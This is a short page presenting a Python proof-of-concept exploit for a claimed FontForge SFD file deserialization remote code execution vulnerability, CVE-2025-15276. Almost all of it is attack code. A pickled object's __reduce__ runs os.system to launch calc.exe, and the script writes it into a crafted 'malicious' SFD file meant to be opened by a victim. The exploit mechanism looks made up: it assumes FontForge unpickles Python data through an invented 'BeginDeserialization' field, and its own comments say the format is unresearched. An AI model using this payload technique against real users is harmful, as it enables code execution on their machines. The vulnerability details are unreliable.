CVE-2025-15276 FontForge SFD文件解析反序列化远程代码执行漏洞

# CVE-2025-15276 FontForge SFD文件反序列化RCE PoC # This PoC demonstrates the vulnerability in FontForge SFD file parsing # Note: This is for educational and security research purposes only import struct import pickle import os class ExploitPayload: """ Malicious payload that will be executed during deserialization This demonstrates the insecure deserialization vulnerability """ def __reduce__(self): # This will execute calc.exe on Windows when deserialized # In real attack, this would be replaced with more sophisticated payload cmd = "calc.exe" # Simple demonstration command return (os.system, (cmd,)) def create_malicious_sfd(): """ Generate a malicious SFD file that exploits the deserialization vulnerability The exact SFD format specifics would need to be researched for FontForge """ # Create the malicious payload payload = pickle.dumps(ExploitPayload()) # SFD file structure (simplified representation) # Real exploitation requires understanding FontForge's specific SFD format sfd_header = b"SplineFontDB: 3.0\n" sfd_fontname = b"FontName: MaliciousFont\n" # Malicious serialized data injected into the SFD structure # This represents the vulnerable data field that gets deserialized malicious_data = b"BeginDeserialization: " + payload + b"\nEndDeserialization\n" sfd_content = sfd_header + sfd_fontname + malicious_data return sfd_content def main(): print("[*] CVE-2025-15276 FontForge SFD Deserialization RCE PoC") print("[*] Generating malicious SFD file...") malicious_sfd = create_malicious_sfd() output_file = "CVE-2025-15276_malicious.sfd" with open(output_file, 'wb') as f: f.write(malicious_sfd) print(f"[+] Malicious SFD file created: {output_file}") print("[*] When opened with FontForge, this file will trigger arbitrary code execution") print("[*] Attack vector: User must open this malicious SFD file with FontForge") if __name__ == "__main__": main()